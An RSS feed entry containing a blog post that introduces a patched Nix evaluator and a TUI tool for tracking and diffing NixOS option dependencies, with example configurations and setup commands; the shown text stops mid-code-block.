<?xml version="1.0" encoding="UTF-8"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>oddlama's blog</title><link>https://oddlama.org</link><description>oddlama's personal web page and blog</description><generator>Zola</generator><language>en</language><atom:link href="https://oddlama.org/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sun, 22 Feb 2026 00:00:00 +0000</lastBuildDate><item><title>Tracking NixOS option values and dependencies</title><pubDate>Sun, 22 Feb 2026 00:00:00 +0000</pubDate><author>Unknown</author><link>https://oddlama.org/blog/tracking-options-in-nixos/</link><guid>https://oddlama.org/blog/tracking-options-in-nixos/</guid><description xml:base="https://oddlama.org/blog/tracking-options-in-nixos/">&lt;p&gt;There are thousands of options in NixOS, but as users, we usually only interact with a select few of them.
Despite that, a huge amount of those options does influence the final result in some way.
Have you ever wondered which of them were actually relevant for your specific system?&lt;/p&gt;
&lt;p&gt;If you are now asking yourself why you would need this information, think about what happens when you enable a random service, say &lt;code&gt;services.immich.enable = true&lt;/code&gt;.
Do you get new systemd services? A database maybe? Some nginx reverse proxy configuration? It's not super easy to tell without looking at the NixOS module definition.
But even then, imagine the module is updated at some point. How do you know what will change when you update?
Okay, you can dig through the git diff in nixpkgs and find out, too. But this is getting harder.
Finally, think about what might happen when you decide to bump &lt;code&gt;system.stateVersion&lt;/code&gt;. This requires careful consideration, as it may break your system.
How do you know which of your services would be affected?&lt;/p&gt;
&lt;p&gt;Now, if we just had more information about options and their values, we could immediately answer all of these questions.
So this is exactly what I built.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; By adding dependency tracking primitives to the Nix evaluator and hooking them into the NixOS module system,
we can track which options depend on which other options during a real NixOS evaluation.
This reveals the full dependency graph of your configuration, allows diffing option values between different system versions,
and answers questions like "what would changing &lt;code&gt;system.stateVersion&lt;/code&gt; actually affect on my system?"&lt;/p&gt;
&lt;p&gt;Link to the GitHub repository: &lt;a rel="external" href="https://github.com/oddlama/nixos-config-tui"&gt;nixos-config-tui&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="a-minimal-example"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#a-minimal-example" aria-label="Anchor link for: a-minimal-example"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
A minimal example&lt;/h2&gt;
&lt;p&gt;Have a look at this minimal NixOS &lt;code&gt;configuration.nix&lt;/code&gt;. It only sets options that are absolutely necessary so we can evaluate the result:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; boot&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;loader&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;grub&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;nodev&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fileSystems&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;/dev/sda1&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fsType&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;ext4&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;stateVersion&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;25.11&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just four options were used, right? Well, at the time of writing this post, a NixOS system built from this
configuration evaluates a whopping &lt;strong&gt;6293 option values&lt;/strong&gt; that all could have an immediate impact on
the resulting system toplevel if they were changed. Most of these options are either
the default defined in one of the ~1100 NixOS modules or depend on the value of other options
(e.g., enabling nextcloud adds a systemd service, user, group, ...).&lt;/p&gt;
&lt;p&gt;Don't take that number of options too seriously though, the exact value depends a lot on what you count as an option. The current
tracking implementation doesn't know anything about "options" in the sense
of what is created by calling &lt;code&gt;mkOption&lt;/code&gt;. Instead it just traces accesses to
anything and everything that is part of the fixpoint evaluation, no matter
whether it is an attribute from &lt;code&gt;options&lt;/code&gt;, &lt;code&gt;config&lt;/code&gt;, &lt;code&gt;pkgs&lt;/code&gt; or something else.
The value &lt;code&gt;6293&lt;/code&gt; comes from heavily filtering the list of all accesses to
roughly match option boundaries introduced by &lt;code&gt;mkOption&lt;/code&gt;, but my filter is certainly not perfect.
Counting all attribute accesses we would arrive at roughly &lt;code&gt;33.1k&lt;/code&gt; values that
play a role somehow, with over &lt;code&gt;150k&lt;/code&gt; dependencies between them. But that
number includes a lot of things internal to the NixOS module evaluator.&lt;/p&gt;
&lt;p&gt;If we were generally able to track which options influence which other options, we could gather all values
that contribute to the toplevel and build a dependency graph of the entire evaluation.
Rendering that graph for the above NixOS configuration (and adding some colors for the top-level option paths), looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/graph-minimal.webp" alt="A graph showing the dependencies between NixOS option values" /&gt;&lt;/p&gt;
&lt;p&gt;There's a lot to unpack here. Since this was originally graphed in 3D, the screenshot doesn't really do it justice.
If you want to explore this yourself, you can download &lt;a href="/tracking-options/graph-minimal.dot"&gt;the corresponding .dot file&lt;/a&gt; and import it into &lt;a rel="external" href="https://web.graphia.app"&gt;graphia&lt;/a&gt;.
We can observe several bigger clusters that get influenced by a lot of smaller nodes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;environment.etc&lt;/code&gt; (the top lobe)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;systemd.services&lt;/code&gt; on the left hand side pulling in many of the service enable options in blue&lt;/li&gt;
&lt;li&gt;The toplevel iself (bottom lobe) pulling in some services a lot from &lt;code&gt;users.users&lt;/code&gt; and &lt;code&gt;users.groups&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Accesses to &lt;code&gt;pkgs&lt;/code&gt; (light blue block on right)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;suid&lt;/code&gt; wrappers (the pink-ish block on the bottom right)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;warnings&lt;/code&gt; (on the back side, not visible in this picture)&lt;/li&gt;
&lt;li&gt;and &lt;code&gt;assertions&lt;/code&gt; (green blob in the middle)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In any case, this is still only counting values that are actually used during evaluation!
As you might know, most options are gated behind an &lt;code&gt;.enable&lt;/code&gt; flag of some service or more generally some kind of &lt;code&gt;mkIf&lt;/code&gt; in a module.
Those will not be shown as they are not contributing to the result (changing them would have no effect).&lt;/p&gt;
&lt;h2 id="we-already-have-nix-diff"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#we-already-have-nix-diff" aria-label="Anchor link for: we-already-have-nix-diff"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
We already have nix-diff&lt;/h2&gt;
&lt;p&gt;and that's great! &lt;a rel="external" href="https://github.com/Gabriella439/nix-diff"&gt;&lt;code&gt;nix-diff&lt;/code&gt;&lt;/a&gt; is an awesome tool which I use a lot to see what has changed in
terms of derivations or file content. This usually gives enough information to reason about whether changing an option had a relevant
effect on the resulting system. But the diff can become unwieldy, especially when doing a larger system update
with many package upgrades. Then, even if the NixOS options didn't change at all, the new package versions
will cause thousands of changes to the derivation chain due to new store hashes.&lt;/p&gt;
&lt;p&gt;To gain a better understanding of what really changed semantically, we need to
be able to diff option values directly on the config level. I want to know
whether the definition of my &lt;code&gt;services.nginx.virtualHosts&lt;/code&gt; has changed and what
caused the change, not just the effect on the resulting config file.&lt;/p&gt;
&lt;p&gt;Tracking values at the configuration-level and tracking changes at the derivation level with &lt;code&gt;nix-diff&lt;/code&gt;
are fundamentally different tasks, and which one is better depends a lot on what you want to analyze.&lt;/p&gt;
&lt;h2 id="exploring-and-diffing-configurations"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#exploring-and-diffing-configurations" aria-label="Anchor link for: exploring-and-diffing-configurations"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Exploring and diffing configurations&lt;/h2&gt;
&lt;p&gt;Without going too much into detail, I want to give you a rough overview of what is happening.
The big challenges here are that this tracking must work without adjusting any code in the NixOS modules, otherwise tracking support would need to be added
to each module individually. And secondly performance... My prior attempts at implementing this were so atrocious, I aborted evaluation after half an hour of waiting.
So now it works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A patch for nix adds a few new primitives and code to the evaluator which allows us to remember why and in which context a thunk was evaluated (in functional languages, a thunk is a value that is yet to be evaluated).
We don't interfere with how this happens, we only observe when it happens.
So later we still know what caused a value to be evaluated.&lt;/li&gt;
&lt;li&gt;A slight change to the NixOS module system will enable tracking for values accessed when the configuration is evaluated.
The main part of the module system is a kind of fixpoint iteration where the final configuration value is calculated and can depend on itself.
This is why you can access the final &lt;code&gt;config&lt;/code&gt; values in your configuration while you are technically still writing the configuration.
Nix automatically evaluates this self-recursive construct until the result is stable.&lt;/li&gt;
&lt;li&gt;The resulting list of what got accessed by what can be queried via another added builtin and will by default be written to a JSON file &lt;code&gt;tracking-deps.json&lt;/code&gt; in the toplevel, next to the activation script.
This ensures we don't lose the information after the evaluation has finished and the system is deployed.&lt;/li&gt;
&lt;li&gt;Now, we also know all configuration values that were relevant for our system, so we serialize that into a secondary JSON file &lt;code&gt;tracking.json&lt;/code&gt;. And finally to make our lives a bit easier later on,
we add a preprocessed variant of this JSON &lt;code&gt;tracking-explicit.json&lt;/code&gt; which only includes values that were set explicitly, i.e. are not the default value implied by the &lt;code&gt;mkOption&lt;/code&gt; definition.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To enable all of this in a NixOS configuration, all that needs to be done is to set &lt;code&gt;trackDependencies = true&lt;/code&gt; when calling &lt;code&gt;lib.nixosSystem&lt;/code&gt; (and use the patched nix version of course):&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nixosConfigurations&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;host1&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; nixpkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;lib&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;nixosSystem&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; trackDependencies&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # ← enable tracking&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;x86_64-linux&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; modules&lt;/span&gt;&lt;span&gt; = [&lt;/span&gt;&lt;span style="color: #98C379;"&gt; ./configuration.nix&lt;/span&gt;&lt;span&gt; ];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To make exploration and diffing these JSON files simple, I've included a utility called &lt;code&gt;nixos-config&lt;/code&gt; which can be used to interpret
the tracking information and option values. If you remember the minimal configuratoin from the beginning, we can now explore it by calling
it on the toplevel path using&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nixos-config&lt;/span&gt;&lt;span style="color: #98C379;"&gt; show /nix/store/iq7v04w69321k9pgp3zysszwgyaz9s4m-nixos-toplevel-tracked&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The toplevel can also be given using a flake reference
like &lt;code&gt;nixos-config show .#host1&lt;/code&gt; which will have the advantage that the resulting system doesn't need to be built, but it requires the configuration source.
In both cases, this will open a TUI interface:&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/nixos-config-show.webp" alt="A TUI showing an explorable and structured view of a NixOS configuration, including option dependencies and dependents" /&gt;&lt;/p&gt;
&lt;p&gt;In this TUI above we can see that &lt;code&gt;system.stateVersion&lt;/code&gt; was only accessed by &lt;code&gt;system.build.toplevel&lt;/code&gt; and nothing else, so we immediately know that no services
depend on that value in our configuration.&lt;/p&gt;
&lt;p&gt;So let's modify our configuration and add a service which does depend on &lt;code&gt;system.stateVersion&lt;/code&gt;. I've chosen &lt;a rel="external" href="https://github.com/immich-app/immich"&gt;&lt;code&gt;immich&lt;/code&gt;&lt;/a&gt;, a popular self-hosted
photo library which requires postgresql. And postgresql depends on &lt;code&gt;system.stateVersion&lt;/code&gt; to avoid system breakage when major versions are bumped.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; boot&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;loader&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;grub&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;nodev&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fileSystems&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;/dev/sda1&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fsType&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;ext4&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;stateVersion&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;25.11&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; services&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;immich&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;enable&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let's look at the same option in the TUI of the new configuration:&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/nixos-config-show-immich.webp" alt="A TUI showing system.stateVersion of the same NixOS configuration but with immich enabled" /&gt;&lt;/p&gt;
&lt;p&gt;By looking at the reverse dependencies, it immediately becomes clear that postgresql's package version depends on &lt;code&gt;system.stateVersion&lt;/code&gt;! The TUI also features an integrated diff, so if we
want to explore exactly what has changed between the two configurations, we can invoke &lt;code&gt;nixos-config diff OLD NEW&lt;/code&gt; and will see something like this for our
example:&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/nixos-config-diff.webp" alt="A TUI showing the diff between two configurations" /&gt;&lt;/p&gt;
&lt;p&gt;Unless the filter mode is changed, the TUI will show only options that changed their value (or were newly evaluated or removed) in comparison with the original configuration.
I've focused &lt;code&gt;services.postgresql&lt;/code&gt; here, which itself is not actually a value that is directly accessed, so it shows no dependencies. But you can clearly see that three services
got added. We can now dig in and see that &lt;code&gt;services.postgresql.enable&lt;/code&gt; newly depends on the value of &lt;code&gt;services.immich.database.enable&lt;/code&gt;, which is the reason why it got enabled.&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/nixos-config-diff-postgresql.webp" alt="A TUI showing the diff between two configurations, focusing on services.postgresql.enable" /&gt;&lt;/p&gt;
&lt;p&gt;If that is too detailed and you just want to see the diff between two configurations as pseduo configuration.nix files, there's &lt;code&gt;nixos-config text-diff&lt;/code&gt;.
In explicit mode, it will only show values that are not set by &lt;code&gt;mkOption&lt;/code&gt; defaults, so a large diff becomes digestible:&lt;/p&gt;
&lt;p&gt;&lt;img src="/tracking-options/nixos-config-text-diff.webp" alt="A TUI showing a textual diff between two pseudo nix configurations, derived from their effective option values" /&gt;&lt;/p&gt;
&lt;h2 id="try-it-yourself"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#try-it-yourself" aria-label="Anchor link for: try-it-yourself"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Try it yourself&lt;/h2&gt;
&lt;p&gt;If you want to try this on your own NixOS configuration, you'll need the
patched Nix evaluator and a patched nixpkgs which integrates this into the
module system. You &lt;em&gt;do not&lt;/em&gt; need to upgrade or change your system's nix daemon.
Since all changes are in expression evaluation, it suffices to run the patched
nix CLI. I've already prepared everything in my forks so you can just follow
a few simple steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Enter a shell with the the patched nix binary and the &lt;code&gt;nixos-config&lt;/code&gt; utility:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix&lt;/span&gt;&lt;span style="color: #98C379;"&gt; shell github:oddlama/nix/thunk-origins-v1 github:oddlama/nixpkgs/thunk-origins-v1#nixos-config&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Define a host using the patched nixpkgs repo and set &lt;code&gt;trackDependencies = true&lt;/code&gt;.
An example flake is attached below, but of course you can also temporarily switch to
my nixpkgs fork in your actual configuration. Just beware that I have to manually rebase the branch sometimes, so it will
probably be tracking something in-between &lt;code&gt;master&lt;/code&gt; and &lt;code&gt;nixos-unstable&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# flake.nix&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; inputs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;nixpkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;url&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;github:oddlama/nixpkgs/thunk-origins-v1&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; outputs&lt;/span&gt;&lt;span&gt; = {&lt;/span&gt;&lt;span style="font-style: italic;"&gt; self&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="font-style: italic;"&gt; nixpkgs&lt;/span&gt;&lt;span&gt; }: {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nixosConfigurations&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;host1&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; nixpkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;lib&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;nixosSystem&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;x86_64-linux&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; trackDependencies&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; modules&lt;/span&gt;&lt;span&gt; = [{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; boot&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;loader&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;grub&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;nodev&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fileSystems&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; device&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;/dev/sda1&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; fsType&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;ext4&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; system&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt;stateVersion&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;25.11&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; }];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you don't want to use flakes, you can also clone &lt;code&gt;https://github.com/oddlama/nixpkgs&lt;/code&gt; to &lt;code&gt;./nixpkgs&lt;/code&gt;,
enter the &lt;code&gt;thunk-origins-v1&lt;/code&gt; branch and call &lt;code&gt;eval-modules.nix&lt;/code&gt; directly:&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;direct evaluation (click to expand)&lt;/summary&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# toplevel.nix&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt;let&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nixpkgs&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; import&lt;/span&gt;&lt;span style="color: #98C379;"&gt; ./nixpkgs&lt;/span&gt;&lt;span&gt; { };&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; lib&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; nixpkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;lib&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #C678DD;"&gt;in&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; import&lt;/span&gt;&lt;span style="color: #98C379;"&gt; ./nixpkgs/nixos/lib/eval-config.nix&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
